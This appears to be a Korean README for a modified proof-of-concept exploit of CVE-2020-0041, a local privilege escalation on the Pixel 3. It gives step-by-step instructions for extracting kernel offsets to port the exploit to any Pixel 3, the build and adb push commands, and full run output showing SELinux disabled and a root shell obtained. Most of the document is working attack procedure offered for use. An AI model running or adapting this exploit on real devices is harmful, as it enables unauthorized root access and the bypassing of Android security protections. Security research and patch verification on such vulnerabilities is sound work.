
Pixel 3용 로컬 권한 상승 익스플로잇(CVE-2020-0041)으로, 커널 메모리 손상 및 오프셋 적응을 통해 SELinux를 비활성화하고 루트 셸을 생성합니다.
이 폴더에는 CVE-2020-0041용 bluefrostsecurity PoC를 수정한 로컬 권한 상승 익스플로잇이 포함되어 있습니다. 이 익스플로잇은 SELinux를 비활성화한 다음 루트 셸을 실행합니다.
이 익스플로잇은 2020년 2월 펌웨어(QQ1A.200205.002)를 실행하는 Pixel 3 기기에 대한 하드코딩된 오프셋과 함께 제공됩니다. 아래 단계를 따르기만 하면 모든 Pixel 3 기기에 맞게 익스플로잇을 조정할 수 있습니다.
루트 사용자 제한을 피하기 위해 일부 변경 사항이 적용되었습니다(원본 익스플로잇은 사용할 수 없습니다).
모든 Pixel 3 기기에 맞게 익스플로잇을 조정하려면 공식 웹사이트 developer android images에서 특정 취약 펌웨어(QQ1A.200205.002)를 다운로드해야 합니다.
그런 다음 boot.img를 zImage로 변환합니다. 이를 위해 abootimg를 사용합니다.
./abootimg -x [path_to_boot_img]
생성된 zImage는 압축된 Android 커널이 포함된 이미지입니다.
vmlinux-to-elf [path_to_zImage] [kernel.elf]
SELINUX_ENFORCING_OFFSET
MEMSTART_ADDR_OFFSET
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
exploit.c를 올바른 오프셋으로 맞춥니다.
성공 :)
익스플로잇은 Android NDK가 경로에 있는 상태에서 "make"를 실행하기만 하면 빌드할 수 있습니다(libs/arm64-v8a 경로에서 poc 바이너리를 가져와도 됩니다). 또한 "make all push"를 실행하여 adb로 연결된 휴대폰에 푸시할 수도 있습니다(간결성을 위해 경고는 제거됨):
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile : poc <= exploit.c
[arm64-v8a] Compile : poc <= endpoint.c
[arm64-v8a] Compile : poc <= pending_node.c
[arm64-v8a] Compile : poc <= binder.c
[arm64-v8a] Compile : poc <= log.c
[arm64-v8a] Compile : poc <= helpers.c
[arm64-v8a] Compile : poc <= binder_lookup.c
[arm64-v8a] Compile : poc <= realloc.c
[arm64-v8a] Compile : poc <= node.c
[arm64-v8a] Executable : poc
[arm64-v8a] Install : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)
이제 adb 셸에서 /data/local/tmp/poc를 실행하면 익스플로잇이 실행되는 것을 확인할 수 있습니다:
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ #